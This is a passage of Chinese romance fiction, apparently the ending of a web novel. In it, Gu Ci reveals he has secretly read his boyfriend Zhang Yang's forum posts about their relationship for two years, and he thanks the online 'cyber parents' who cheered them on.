看见那些熟悉的ID在刷： “儿子毕业快乐！” “赛博妈妈永远爱你！” “以后常来汇报！” “我们都在！” 我一条一条看完。 然后我放下手机，转头看他。 他在旁边，正在敲字。 可能是回复评论吧。 我没打扰他。 只是靠在他肩膀上。 他愣了一下，然后继续敲字。 但我知道，他在笑。 因为他的肩膀在轻轻抖。 —— 【九、现在】 现在是凌晨。 他睡着了。 手机还亮着，屏幕上是那个帖子。 最后一页。 评论还在增加。 有人问：“楼主以后还更新吗？” 有人回：“帖子结束了，但群还在。” 有人说：“祝你们幸福。” 有人说：“替我们抱抱顾辞。” 我看着那行字。 “替我们抱抱顾辞。” 然后我低头，看了看旁边睡着的人。 他睡得很沉，呼吸轻轻的。 我伸出手，抱了抱他。 很轻。 怕吵醒他。 然后我躺回去，继续看那个帖子。 —— 其实，那些帖子，我都看完了。 从他第一次发帖，到现在。 从“我是直男”，到“最好的安排”。 从冬天，到夏天。 从大三，到大四。 两年。 他写了两年。 我也看了两年。 那些他以为我不知道的事。 那些他以为只有论坛知道的心事。 那些深夜的焦虑，那些紧张的等待，那些笨拙的试探。 我都知道。 我一直都在。 —— 【十、最后一句】 明天，我们要去领毕业证了。 后天，他要去省队报到。 我继续读书，他继续踢球。 我们还在一个城市。 还能一起吃早饭，还能一起看月亮。 还能握着彼此的手。 还能看着彼此的眼睛。 还能说“晚安”和“早安”。 —— 所以，谢谢你们。 赛博父母们。 谢谢你们陪他走过这两年。 谢谢你们帮他出主意，帮他紧张，帮他高兴。 谢谢你们在他不会说的时候教他说，在他不敢说的时候鼓励他说。 谢谢你们让他变成更好的人。 谢谢你们让他学会怎么喜欢我。 —— 那些帖子，他会继续写吗？ 不知道。 但我知道，无论他写不写，我都会继续看。 看他眼里的我。 看他心里的我。 看他用那些笨拙的文字，写出来的喜欢。 —— 因为他是张扬。 那个在树后面抱着足球、整个人裂开的张扬。 那个在地铁上把我圈在怀里、怕别人挤到我的张扬。 那个在图书馆握着我手一下午、舍不得松开的张扬。 那个说“以后都有我”的张扬。 那个让我等了七年，终于等到的人。 —— 晚安，张扬。 晚安，赛博父母们。 晚安，这个论坛。